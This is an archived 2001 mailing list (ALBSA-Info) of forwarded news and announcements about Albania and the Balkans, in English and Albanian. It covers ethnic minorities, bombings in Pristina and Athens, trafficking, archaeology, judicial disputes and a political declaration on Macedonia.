law.harvard.edu) Date: Tue, 17 Apr 2001 08:04:29 -0400 Subject: [ALBSA-Info] CFA: Summer School on Human Rights and Human Wrongs in SEE, Ohrid, 27.8.-10.9.2001 Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] CFA: Summer School on Human Rights and Human Wrongs in SEE, Ohrid, 27.8.-10.9.2001 Date: Sat, 14 Apr 2001 18:46:49 +0200 Size: 8407 URL: From aalibali at yahoo.com Tue Apr 17 08:30:21 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 17 Apr 2001 05:30:21 -0700 (PDT) Subject: [ALBSA-Info] Sterniperit e faraoneve...?! Message-ID: <20010417123021.50400.qmail@web11508.mail.yahoo.com> FYROM's Pharaonic past By Sonia Bakaric and James Hider Agence France-Presse OHRID, FYROM - In a tiny forge full of twisted scrap metal and salvaged bicycle parts, and under the gaze of a dusty photo of Tito, Ramiz Zemil struggles to keep alive a tradition his ancestors brought to the Balkans from Egypt more than 2,000 years ago. Zemil, 48, is a member of one of the most unexpected ethnic minorities that make up the Balkans' mixed and often conflicting nations: He and up to 15,000 others claim their descent from the ancient Egypt of the Pharaohs. Like the Former Yugoslav Republic of Macedonia's (FYROM) ethnic Albanians, a slice of whom started a brief but explosive rebellion in February, the Egyptians are pushing for more official recognition. "The whole world has forgotten us, maybe even the Egyptians in Egypt," said Zemil, whose teenage son has chosen not to follow the family tradition of blacksmithing, hoping instead to become a doctor. According to Rubim Zemum, an ethnographer in this picturesque town on the shore of Ohrid, a large lake wedged between FYROM and Albania, the first historical traces of the Egyptians in the region appear in Herodotus's "Histories," written around 440 BC. "But they probably came here to mine metal in the 16th or 17th century BC," said the 30-year-old, who hopes to build a consciousness among his people, who over the millennia have taken on the languages and customs of Yugoslavs, Turks, and Albanians, Muslims and Christians. Officially, there are 3,307 Egyptians registered in FYROM, a hotchpotch nation of ethnic groups which is trying to avoid inter-community pressures that have recently threatened to rip the country apart. But Zemum says there are as many as 15,000 Egyptians across the country. Ten years ago, he founded the "Association of Egyptians in Macedonia" to make sure his people were not lost in the post-communist jockeying for position among ethnic groups across the region. He scored a point in 1991 by securing a separate column for Egyptians on census papers, and insists the process be repeated next month when a new population tally is put together. "If there is not a separate column we will call for a boycott of the census," he said, fearing that many of his fellow Egyptians will merely write down Muslim or Christian, depending on which part of the country they have settled in. But the task is not easy. While ethnic Albanians are specifically named in the constitution as a minority, the Egyptians are lumped in with other small groups under the heading "others." Devod Izetovski, president of the Party of the Democratic Movement of Egyptians in Macedonia, said Egyptians are the only group not represented in the council for minorities. A newspaper they launched in 1998, the Voice of the Egyptians, folded after one issue for want of funds. "We are loyal citizens, we pay our taxes, but we are second-class citizens. We have few rights in education or the workplace that allow us to survive as an ethnic group," said Izetovski. Egyptians fear the last vestiges of their heritage, eroded by millennia of isolation from a culture that itself has been totally transformed since they left, could be threatened if they do not mobilize. And they want to revive the links that once bound [the region] to Egypt. Zemum says it is no coincidence that Alexander the Great, the Macedonian king who built an empire stretching from Greece to India in the fourth century BC, based his capital at Alexandria in Egypt. And the 19th century ruler of Egypt, Mehmet Ali Pasha, who also came from the region, was most likely an ethnic Egyptian, Zemum says, although Albanians also claim him for their own. But after so much time, the vestiges of their culture are few and far between. A few words have survived from the times of the Pharaohs, such as their particular word for corn, "misir." The number three has also retained a mystical significance for the people who left the banks of the Nile for Lake Ohrid. Asked for more concrete examples, Zemum laughs that his community makes its baklava cakes in the shape of a pyramid. Tellingly, one of the few signs of this almost-erased culture is the watermark on the 10-dinar banknote. If held up to the light, a statue of the ancient Egyptian goddess Isis, found in a ruined temple in Skopje, is just visible. But a tradition of intermarrying as little as possible with other communities has left traces among the people themselves. Izetovski, the only member of the impoverished community to have visited Egypt, has a face strikingly similar to ancient Egyptian statues displayed in the British Museum. --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at law.harvard.edu Tue Apr 17 23:25:56 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Tue, 17 Apr 2001 23:25:56 -0400 Subject: [ALBSA-Info] Book Review: Panayi, An Ethnic History of Europe Since 1945 (xH-Ethnic) Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] Book Review: Panayi, An Ethnic History of Europe Since 1945 (xH-Ethnic) Date: Sat, 14 Apr 2001 17:54:48 -0400 Size: 13851 URL: From pilika at yahoo.com Wed Apr 18 12:32:02 2001 From: pilika at yahoo.com (pilika at yahoo.com) Date: Wed, 18 Apr 2001 12:32:02 -0400 (EDT) Subject: [ALBSA-Info] NYTimes.com Article: Kosovo Bomb Kills One, Injures Four Message-ID: <20010418163202.0B05558A4E@email5.lga2.nytimes.com> This article from NYTimes.com has been sent to you by pilika at yahoo.com. Fjalori i NYTimes po ndryshon - paragrafi i fundit. Nuk e dija as se Serbia mbante nje zyre ne Kosove, as se Trajkovici qe emeruar ne post zyrtar. /-------------------- advertisement -----------------------\ Looking for better IT solutions? Toshiba is uniting digital, mobile and network innovations in a bold new vision of Information Technology for today and tomorrow. Take a closer look at life in the new Digital Age. And imagine how good IT can be. Visit Toshiba.com for more details. http://www.nytimes.com/ads/toshiba/index.html \----------------------------------------------------------/ Kosovo Bomb Kills One, Injures Four By THE ASSOCIATED PRESS Filed at 11:41 a.m. ET PRISTINA, Yugoslavia (AP) -- A bomb went off Wednesday near Yugoslav government offices in Kosovo's capital, killing one person and injuring four. International officials condemned the attack in Pristina as they searched for witnesses and a motive. ``For the future of Kosovo it could not be a more tragic incident,'' U.N. police spokesman Derek Chappell said. ``This is an attack against everything that people trying to build this country are working for.'' Yugoslav authorities blamed ethnic Albanian rebels and demanded action by the United Nations and NATO-led peacekeepers. ``Clearly Albanian terrorists and extremists are determined to continue with their evil works,'' said the Yugoslav government minister for Kosovo, Momcilo Trajkovic. He also accused international officials of failing to improve security of Yugoslavia's mission in Pristina. Last November, a bomb exploded at a nearby building also used by Trajkovic, killing one of his staff and injuring another. One car was destroyed by Wednesday's blast, while the windows of several other vehicles and nearby buildings were shattered. Serb media identified the victims as employees of the Yugoslav government office in Pristina. One of the injured, a woman, was in serious condition; the others were less seriously hurt. No arrests were made immediately, and officials said they had no details on the type of bomb or how it was detonated. Kosovo formally remains a province of Serbia, the larger of the two Yugoslav republics. But it has been run by the United Nations and NATO since June 1999, after the alliance's bombing of Yugoslavia forced out Serb authorities. http://www.nytimes.com/aponline/world/AP-Kosovo-Bomb.html?ex=988611521&ei=1&en=b6374479157ddc88 /-----------------------------------------------------------------\ Visit NYTimes.com for complete access to the most authoritative news coverage on the Web, updated throughout the day. Become a member today! It's free! http://www.nytimes.com?eta \-----------------------------------------------------------------/ HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact Alyson Racer at alyson at nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help at nytimes.com. Copyright 2001 The New York Times Company From aalibali at yahoo.com Wed Apr 18 15:45:24 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 18 Apr 2001 12:45:24 -0700 (PDT) Subject: [ALBSA-Info] Shtepia e Kadarese Message-ID: <20010418194524.82269.qmail@web11503.mail.yahoo.com> Gjirokast?r: Nd?rpritet restaurimi i sht?pis? s? Kadares?, mungojn? fondetLajmi i ores 9:00 PM GJIROKASTER - Jane nderprere punimet per ringritjen e shtepise se shkrimtarit Ismail Kadare ne lagjen Palorto ne qytetin e Gjirokastres, e djegur aksidentalisht ne tetor te vitit 1999. Sipas Arben Lenjes, pergjegjes ne zyren e zhvillimit ne Bashkine e qytetit, shkak per kete nderprerje te punimeve eshte bere mungesa e fondeve. Mbas djegjes se shtepise,nje nga banesat me arkitekture karakeristike ne qytetin muze, qeveria shqiptare miratoi nje fond prej 5 milione lekesh , fond me te cilin filloi ringritja e saj. Por sipas eksperteve, realizimi i plote i projektit te hartuar per ringritjen e shtepise kerkon nje fond me vlere 33 milione leke, ndersa financues te projektit do te ishin Ministria e pushtetit lokal dhe Ministria e kultures. Deri tani, tha Lenja, asnje nga ministrite nuk ka celur fondet per vazhdimin e punimeve restauruese ne shtepine e shkrimtarit te njohur. Projekti ne fjale parashikon ringritjen e shtepise sipas modelit autentik te kesaj banese e ndertuar afro 200 vjet me pare dhe shtrirjen e saj brenda ansamblit arkitekturor te qytetit te gurte. Ndonese restaurimi i baneses do te respektoje elementet arkitekturore te ndertimit te mjediseve te brendshme, disa nga mjediset e brendshme do te marrin funksione te reja, si salla e bibliotekes, bujtina e miqve, dhoma e lindjes se shkrimtarit et. Shtepia do te jete nje mjedis i vizitueshem per turistet dhe adhuruesit e shkrimtarit. in/ko (ATSH/BalkanWeb) --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From KorabH at excite.com Thu Apr 19 04:32:41 2001 From: KorabH at excite.com (Korab Hoxha) Date: Thu, 19 Apr 2001 01:32:41 -0700 (PDT) Subject: [ALBSA-Info] =?iso-8859-1?Q?DEKLARAT=CB?= Message-ID: <1312093.987669161935.JavaMail.imail@bronty> KOMITETI P?R MBROJTJEN E TROJEVE SHQIPTARE PA BASHKIMIN TON? POLITIK NUK MUND T? ARRIHET BASHKIMI LUFTARAK ( DEKLARAT? POLITIKE Nr. 1 ) Duke u nisur nga situatat e krijuara n? trojet tona shqiptare n?n "Maqedoni", si dhe reagimet e ndryshme t? opinionit ton? komb?tar pas publikimit t? Platform?s s? Komitetit t? Mbrojtjes s? Trojeve Shqiptare ( shkurt: KMTSH ), kryetari i Grupit Nism?tar ( 7 an?tar?sh ) deklaron, si vijon: 1. Kjo ?sht? nj? iniciativ? me q?llim q? sa m? par? t? organizohet nj? Kuvend n? t? cilin do t? merrnin pjes? t? gjitha partit? politike, organizatat, shoqatat dhe individ?t atdhetar? pa dallim krahine, feje dhe ideje. N? k?t? kuvend do t? aprovohet Platforma Politike dhe Organizative e KMTSH-s?. Gjithashtu do t? zgjidhet edhe Kryesia e KMTSH-s?, n? t? cil?n Kryesi partit?, organizatat dhe shoqatat do t? p?rfaq?soheshin me nga dy p?rfaq?sues; kurse, individ?t me nga nj?.Ne Grupi Nism?tar do t? propozojm? q? Kryetari i KMTSH-s? t? jet? nga t? pavarurit; sepse, edhe ne si Grup Nism?tar i takojm? nj? organizate politike dhe poqese Kryetari i KMTSH-s? do t? zgjidhej nga ne apo ndonj? organizat? a parti politike kemi frig? se Kryetari i KMTSH-s? do t? anonte nga Programi i partis? ose organizat?s q? i takon. 2. T? bindur se shum? organizata e parti politike kan? forca ushtarake pas bashkimit ton? politik n? KMTSH do t? b?hej edhe bashkimi e konsolidimi i grupeve guerile n? nj? formacion ushtarak me emrin UCK. 3. KMTSH do t? organizonte Komitetet e Rretheve si: n? Kumanov?, n? Shkup, n? Tetov?, n? Gostivar, n? K?r?ov?, n? Dib?r, n? Strug?, n? Oh?r dhe n? Manastir. Dhe, ?do komietet i rrethit p?rkat?s do t? organizonte komitetet e fshatrave dhe lagjeve n?p?r rrethet p?rkat?se. N? munges? t? k?tij organizimi luftohej n? malet e Sharrit dhe t? tjer?t rrinin n?p?r kafenet? e Tetov?s, sikur lufta t? zhvillohej n? ndonj? v?nd t? Afrik?s. N? munges? t? k?tij organizimi nuk organizoheshin demonstrata n? Gostivar, n? K?r?ov?, n? Dib?r, n? Strug? etj. , por organizoheshin demonstrata n? Prishtin?, n? De?an dhe Prizren, t? cilat ishin shum? domethe?n?se dhe mb?shtetje e madhe p?r luft?tar?t e UCK-s?, por do t? ishte m? dometh?n?se dhe m? kuptimplote nga nj?ra an? dhe do ta rr?zonim p?r toke akuz?n e shovinst?ve maqedonas se gjoja Kosova po na e rrezikon "Maqedonin?"; sikur, t? arrinim q? n? t? gjitha trojet shqiptare t? organizonim demonstrata, ashtu si? ishte ajo e Tetov?s, besojm? se edhe faktori nd?rkomb?tar do t? reagonte ndryshe nga reagimi i m?parsh?m dhe aktual. 4. Grupi Nism?tar i KMTSH-s? apelon te kryetar?t e dy partive politike n? "Maqedoni": Arb?r Xhaferri i PDSH-s? dhe Ymer Ymeri i PPD-s? q? t? largohen nga kolaborimi i tyre me pushtuesit fashist t? Shkupit, dhe konkretisht k?rkojm? q? t? gjith? deputet?t shqiptar? dhe ministrat e tyre n? qeverin? fashiste t? kriminel?ve Trajkoski-Georgieski t? t?rhiqen nga kolltuqet e tyre q? ua ka dh?n? populli shqiptar pas premtimeve q? i kan? b?r? popullit p?r t? realizuar t? drejtat legjitime q? i takojn? nj? populli prej nj? miljoni. 5. KMTSH konsideron se lufta do t? jet? e gjat? dhe e v?shtir?, por m? n? fund populli yn? do t'a realizoj? t? drejt?n e vet, t? njohur n? t? gjitha konventat nd?rkomb?tare - t? drejt?n e vet?vendosjes. Dib?r, 18 prill 2001 Kryetari i Grupit Nism?tar t? KMTSH-s? Kushtrim Uskana _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From KorabH at excite.com Thu Apr 19 13:46:17 2001 From: KorabH at excite.com (Korab Hoxha) Date: Thu, 19 Apr 2001 10:46:17 -0700 (PDT) Subject: [ALBSA-Info] =?iso-8859-1?Q?DEKLARAT=CB?= Message-ID: <21731924.987702377596.JavaMail.imail@bronty> KOMITETI P?R MBROJTJEN E TROJEVE SHQIPTARE PA BASHKIMIN TON? POLITIK NUK MUND T? ARRIHET BASHKIMI LUFTARAK ( DEKLARAT? POLITIKE Nr. 1 ) Duke u nisur nga situatat e krijuara n? trojet tona shqiptare n?n "Maqedoni", si dhe reagimet e ndryshme t? opinionit ton? komb?tar pas publikimit t? Platform?s s? Komitetit t? Mbrojtjes s? Trojeve Shqiptare ( shkurt: KMTSH ), kryetari i Grupit Nism?tar ( 7 an?tar?sh ) deklaron, si vijon: 1. Kjo ?sht? nj? iniciativ? me q?llim q? sa m? par? t? organizohet nj? Kuvend n? t? cilin do t? merrnin pjes? t? gjitha partit? politike, organizatat, shoqatat dhe individ?t atdhetar? pa dallim krahine, feje dhe ideje. N? k?t? kuvend do t? aprovohet Platforma Politike dhe Organizative e KMTSH-s?. Gjithashtu do t? zgjidhet edhe Kryesia e KMTSH-s?, n? t? cil?n Kryesi partit?, organizatat dhe shoqatat do t? p?rfaq?soheshin me nga dy p?rfaq?sues; kurse, individ?t me nga nj?.Ne Grupi Nism?tar do t? propozojm? q? Kryetari i KMTSH-s? t? jet? nga t? pavarurit; sepse, edhe ne si Grup Nism?tar i takojm? nj? organizate politike dhe poqese Kryetari i KMTSH-s? do t? zgjidhej nga ne apo ndonj? organizat? a parti politike kemi frig? se Kryetari i KMTSH-s? do t? anonte nga Programi i partis? ose organizat?s q? i takon. 2. T? bindur se shum? organizata e parti politike kan? forca ushtarake pas bashkimit ton? politik n? KMTSH do t? b?hej edhe bashkimi e konsolidimi i grupeve guerile n? nj? formacion ushtarak me emrin UCK. 3. KMTSH do t? organizonte Komitetet e Rretheve si: n? Kumanov?, n? Shkup, n? Tetov?, n? Gostivar, n? K?r?ov?, n? Dib?r, n? Strug?, n? Oh?r dhe n? Manastir. Dhe, ?do komietet i rrethit p?rkat?s do t? organizonte komitetet e fshatrave dhe lagjeve n?p?r rrethet p?rkat?se. N? munges? t? k?tij organizimi luftohej n? malet e Sharrit dhe t? tjer?t rrinin n?p?r kafenet? e Tetov?s, sikur lufta t? zhvillohej n? ndonj? v?nd t? Afrik?s. N? munges? t? k?tij organizimi nuk organizoheshin demonstrata n? Gostivar, n? K?r?ov?, n? Dib?r, n? Strug? etj. , por organizoheshin demonstrata n? Prishtin?, n? De?an dhe Prizren, t? cilat ishin shum? domethe?n?se dhe mb?shtetje e madhe p?r luft?tar?t e UCK-s?, por do t? ishte m? dometh?n?se dhe m? kuptimplote nga nj?ra an? dhe do ta rr?zonim p?r toke akuz?n e shovinst?ve maqedonas se gjoja Kosova po na e rrezikon "Maqedonin?"; sikur, t? arrinim q? n? t? gjitha trojet shqiptare t? organizonim demonstrata, ashtu si? ishte ajo e Tetov?s, besojm? se edhe faktori nd?rkomb?tar do t? reagonte ndryshe nga reagimi i m?parsh?m dhe aktual. 4. Grupi Nism?tar i KMTSH-s? apelon te kryetar?t e dy partive politike n? "Maqedoni": Arb?r Xhaferri i PDSH-s? dhe Ymer Ymeri i PPD-s? q? t? largohen nga kolaborimi i tyre me pushtuesit fashist t? Shkupit, dhe konkretisht k?rkojm? q? t? gjith? deputet?t shqiptar? dhe ministrat e tyre n? qeverin? fashiste t? kriminel?ve Trajkoski-Georgieski t? t?rhiqen nga kolltuqet e tyre q? ua ka dh?n? populli shqiptar pas premtimeve q? i kan? b?r? popullit p?r t? realizuar t? drejtat legjitime q? i takojn? nj? populli prej nj? miljoni. 5. KMTSH konsideron se lufta do t? jet? e gjat? dhe e v?shtir?, por m? n? fund populli yn? do t'a realizoj? t? drejt?n e vet, t? njohur n? t? gjitha konventat nd?rkomb?tare - t? drejt?n e vet?vendosjes. Dib?r, 18 prill 2001 Kryetari i Grupit Nism?tar t? KMTSH-s? Kushtrim Uskana _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From aalibali at yahoo.com Sat Apr 21 23:09:18 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Sat, 21 Apr 2001 20:09:18 -0700 (PDT) Subject: [ALBSA-Info] "Save the Children" Report on Albania Message-ID: <20010422030918.84923.qmail@web11503.mail.yahoo.com> http://www.ansa.it/balcani/fattidelgiorno/20010420190163205/20010420190163205.shtml --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Sun Apr 22 06:45:15 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Sun, 22 Apr 2001 03:45:15 -0700 (PDT) Subject: [ALBSA-Info] Reuters Message-ID: <20010422104515.18710.qmail@web11505.mail.yahoo.com> Albanian children sold into sex slavery-charity http://www.abcnews.go.com/wire/World/reuters20010420_636.html LONDON, April 20 (Reuters) - Thousands of Albanian children and young women are being sold into sex slavery across Europe, a children's charity said on Thursday. London-based Save the Children said in a report that at least 60 percent of the Albanians trafficked are children abducted or tricked into prostitution. It estimated that there are 15,000 Albanian prostitutes in Italy alone, many unpaid. "Urgent action is required to combat the poverty, lack of opportunity and poor education that blight rural Albania. As long as the current economic conditions prevail and the rewards remain high, trafficking will remain a tempting option," the charity said in a statement. Save the Children said in some rural areas of Albania the problem is so great that up to 90 percent of girls over the age of 14 skip school because they fear they will be kidnapped. --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Sun Apr 22 16:36:13 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Sun, 22 Apr 2001 13:36:13 -0700 (PDT) Subject: [ALBSA-Info] Faqe interesante per Shqiperine Message-ID: <20010422203613.97489.qmail@web11507.mail.yahoo.com> http://www.albzip.com/ --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at law.harvard.edu Mon Apr 23 08:01:32 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Mon, 23 Apr 2001 08:01:32 -0400 Subject: [ALBSA-Info] CfA: Kosovo Summer University, Pristina, 16.7.-10.8.2001 Message-ID: An embedded message was scrubbed... From: ksu at academictraining.org Subject: [balkans] CfA: Kosovo Summer University, Pristina, 16.7.-10.8.2001 Date: Sat, 21 Apr 2001 14:51:41 +0200 Size: 2129 URL: From aalibali at yahoo.com Mon Apr 23 08:12:26 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 23 Apr 2001 05:12:26 -0700 (PDT) Subject: [ALBSA-Info] Kathimerini Message-ID: <20010423121226.38481.qmail@web11502.mail.yahoo.com> Bomb damages patriarch's office in central Athens ICON A billboard advertising a popular singer's nightclub show is an odd backdrop for a poster by Orthodox fringe groups denouncing the visit of Pope John Paul II to Athens next Friday and Saturday. The poster proclaims: 'Out with the beast, the Pope of Rome 666! The arch-heretic who is welcomed by his collaborator, Anti-Christodoulos.' Archbishop Christodoulos has come under fire since the Holy Synod gave its grudging approval for the papal visit. Protest rallies are planned for April 25 and 30. A small anarchist group, one of several that cause damage to property with home-made explosive devices in order to make a political statement, yesterday claimed responsibility for an explosion at the Athens office of the Ecumenical Patriarchate. The explosion, caused by four gas canisters set off by a rag fuse, burned the wooden doors of the neoclassical building on Kolonaki's quiet Neophytou Douka Street. Coming just six days before the first visit to Greece by the pope, the explosion set off reverberations far greater than the damage it caused. A caller told the newspaper Eleftherotypia that a group called the Anti-Establishment Struggle claimed responsibility for the blast which occurred at 3.50 p.m. He mentioned Pope John Paul's planned visit to Athens. He did not explain why the patriarchate office had been targeted. But in the week before Easter, Ecumenical Patriarch Vartholomaios, in comments to Greek journalists whom he had invited to Istanbul, had expressed support for the pope's visit, accusing those of opposing it of displaying "ecclesiastical provincialism." This was seen as a barb against the Church of Greece which has voiced its misgivings over the papal visit while calling on Orthodox groups not to cause a disturbance. Archbishop Christodoulos's spokesman condemned the bombing. "We condemn in the most categorical way such activities, especially when they are aimed at the Mother Church," said Haris Konidaris. Government spokesman Dimitris Reppas also condemned what he called a "terrorist attack." "This revolting act is aimed against Hellenism in its entirety, of which the Patriarchate of Constantinople is the spiritual peak. We Greek citizens treat in a united and decisive way all those forces which try to promote such antidemocratic and anti-Greek plans," he said. The Patriarchate itself, in the Phanar district of Istanbul, has been damaged in the past by bombs set off by Islamic militants. --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Mon Apr 23 11:41:50 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 23 Apr 2001 08:41:50 -0700 (PDT) Subject: [ALBSA-Info] Zbulime te rendesishme ne Butrint Message-ID: <20010423154150.57996.qmail@web11503.mail.yahoo.com> ATSH/BalkanWeb) Butrint: Zbulohen 3 varre shenjtoresh e martiresh, shek. V pas KrishtitLajmi i ores 3:00 PM TIRANE - Tre varre shenjtoresh dhe martiresh, qe datojne fundin e shekullit V dhe fillimin e shekullit VI pas Krishtit, u zbuluan ditet e fundit gjate nje ekspedite shqiptaro-angleze, ne Baziliken e qytezes se Diaporitit, zone ne anen jugperendimore te Liqenit te Butrintit. Varret te cilat ndodhen ne siperfaqen e apsides dhe sanktuarit (pjesa ku ndodhet altari) te Bazilikes, sipas specialisteve, perbejne nje rast unikal ne territorin e Shqiperise. Prof As.Dr.Luan Perzhita, drejtues i pales shqiptare ne kete ekspedite, duke mbeshtetur kete mendim, i pohoi ATSH-se se, "deri tani nuk eshte evidentuar asnje kishe e cila te jete ngritur mbi varre shenjtoresh ose martiresh". Ai tha se, "varret do te hapen gjate kesaj jave per te saktesuar me pas perkatesine kohore si dhe kujt i jane kushtuar". Ne siperfaqe te apsides jane gjetur gjithashtu objekte qeramike te importuara dhe vendase, ene qelqi, gota, filxhan, llampa vaji dhe monedha te cilat ndihmuan ne datimin e varreve. Qyteza antike e Diaporitit ndodhet 5 km larg Butrintit jo shume larg qendres antike te Kalivose. Diaporiti eshte permendur vetem si emer ne nje shkrim te arkeologut italian Ugolinit, i cili kishte konstatuar dy rrenoja. Ndersa germimet ne qendren e re arkelogjike te Diaporitit filluan per here te pare vitin e kaluar gjate ekspedites shqiptaro-angleze. Ne kete ekspedite u zbuluan ambiente te viles romake (terma), banesa te suvatuara dhe te ngjyrosura, muret rrethuese te qytezes, te cilat here-here futen ne ujerat e Liqenit te Butrintit, skela (Limani) ku ankoroheshin anijet, e gjithe planimetria e bazilikes paleokristiane, banesat rreth saj dhe nje furre pjekjeje. in/an (ATSH/BalkanWeb) --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Mon Apr 23 15:21:44 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 23 Apr 2001 12:21:44 -0700 (PDT) Subject: [ALBSA-Info] Scholarships in Italian college? Message-ID: <20010423192144.50118.qmail@web11507.mail.yahoo.com> Does anybody have any information on the Italian college listed below, which apparently provides scholarships for students from Central and Eastern Europe? http://www.ansa.it/balcani/grecia/20010421155831854583.html __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From aalibali at yahoo.com Mon Apr 23 23:55:43 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 23 Apr 2001 20:55:43 -0700 (PDT) Subject: [ALBSA-Info] Reagim i Konferences Gjyqesore Message-ID: <20010424035543.3647.qmail@web11502.mail.yahoo.com> Mocioni per shkarkimin e tre gjyqtareve te Gjykates se Larte nuk gjen mbeshtetje ne Kushtetute -Sipas Keshillit Ekzekutiv te Konferences Gjyqesore Kombetare- TIRANE, 23 Prill/ATSH-Ledi Koraqi/. Mocioni qe nje grup deputetesh paraqiten pak dite me pare ne Kuvend per shkarkimin e tre gjyqtareve te Gjykates se Larte nuk gjen mbeshtetje ne Kushtetuten e Shqiperise. Ne kete perfundim ka arritur Keshilli Ekzekutiv i Konferences Kombetare Gjyqesore, ne mbledhjen e tij zhvilluar te henen. Ne 11 prill, nje grup prej 10 deputesh depozituan ne Kuvend nje mocion per shkarkimin e tre anetareve te Gjykates se Larte, Agron Lamaj, Vladimir Bineri dhe Kristaq Ngjela. Kerkesa per shkarkimin e tre gjyqtareve te Gjykates se Larte vjen pas disa masave ndeshkuese te marra nga Keshilli i Larte i Drejtesise ndaj gjyqtareve te Fierit, te cilet me me nje vendim jo te drejte liruan nga burgu, ne janar te ketij viti, Kudret Hoxhen, i akuzuar si trafikant droge dhe per armembajtje pa leje. Kryetari i Keshillit Ekzekutiv te Konferences Thimio Kondi, thekson se gjyqtaret nuk mund te shkarkohen nga detyra per shkak te vleresimit te ndryshem te vendimeve gjyqesore, nga organet e tjera jashte pushtetit gjyqesor. Keshilli Ekzekutiv ve ne dukje se Gjykata e Larte, me nje vendim te dates 2 Shkurt 2001 ka dhene dy vendime: te lere ne fuqi masen e arrestit me 20 dite burg, te marre nga gjyqtari i Fierit Dritan Devole, si dhe te lihet ne fuqi vendimi i gjyqtarit te Fierit Piro Sota, per arrest ne burg pa afat per te pandehurin Hoxha, por per nje akuze te re. Gjykata e Larte e ka lene ne burg pa afat te pandehurin Kudret Hoxha. Por ne 15 Prill gjyqtarja e Fierit Arta Dano vendos ta lere te lire te pandehurin. Me pas KLD mori vendimin per shkarkimin e gjyqtares Arta Dano. Pas kesaj ceshtja e Kudret Hoxhes nuk eshte paraqitur me ne Gjykaten e Larte. Keshilli Ekzekutiv i Konferences ve ne dukje se eshte ne interes te tere sistemit gjyqsor, ndaj kjo situate e krijuar duhet te zgjidhet, duke respektuar nje proces te rregullt ligjor ne perputhje me dispozitat kushtetuese. /k.sh/ --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Tue Apr 24 10:39:15 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 24 Apr 2001 07:39:15 -0700 (PDT) Subject: [ALBSA-Info] Fwd: REMINDER Message-ID: <20010424143915.40926.qmail@web11504.mail.yahoo.com> Note: forwarded message attached. __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ -------------- next part -------------- An embedded message was scrubbed... From: Kokkalis_Program at ksg.harvard.edu Subject: REMINDER Date: Tue, 24 Apr 2001 10:34:48 -0400 Size: 1651 URL: From aalibali at yahoo.com Tue Apr 24 10:55:42 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 24 Apr 2001 07:55:42 -0700 (PDT) Subject: [ALBSA-Info] News on Stability Pact Message-ID: <20010424145542.90674.qmail@web11507.mail.yahoo.com> www.ansa.it/balcani __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From aalibali at yahoo.com Wed Apr 25 07:19:08 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 25 Apr 2001 04:19:08 -0700 (PDT) Subject: [ALBSA-Info] Koha Jone Message-ID: <20010425111908.46189.qmail@web11507.mail.yahoo.com> Pakicat, vazhdon pakenaqesia ndaj regjistrimit Korce-Pakicat kombetare shprehin pakenaqesi per regjistrimet. Ndersa eshte drejt perfundimit regjistrimi i popullsise ne rajonin e Korces pakicat kombetare dhe minoriteti qe banon ne kete rajon ka refuzuar pjeserisht procesin e regjistrimit. Pretendimi i tyre kryesor eshte mungesa ne listat regjistruese te kombesise dhe te besimit fetar. Me te ndjeshme keto kane qene ne zonen e Drenoves, dhe ne pakicat kombetare maqedonase. Sami Mecollari pergjegjes i zyres se statistikave, eshte shprehur se ka perfunduar ne te gjithe rajonin regjistrimi i popullates. Nderkohe, ne nje konference shtypi te mbajtur disa dite me pare, ka qene Sekretari i Pergjithshem i PBDNJ-se, deputeti Ligoraq Karamelo, qe ka bere te njohur lajmin e refuzimit te regjistrimit kombtar ne rajonin e Korces nga minoriteti grek qe banon ne kete treve. "Kane qene te rralla refuzimet e minoritetit maqedonas qe banojne ne zonen e Prespes", shprehen ne zyren e statistikave te qarkut te Korces. Jani Male kryeregjistrues ne kete rajon, konfirmon perfundimin e te gjithe procesit te regjistrimit ne zonen e Prespes. Edhe ketu, nje pjese kane refuzuar te marrin pjese ne regjistrim me te njejtat motive si ato te minoritareve greke. Sipas tyre, regjistrimi i popullsise, duke vendosur kombesine e besimin fetar do e evidentonte me se miri edhe numin e pergjithshem te maqedonasve ne Shqiperi. R. 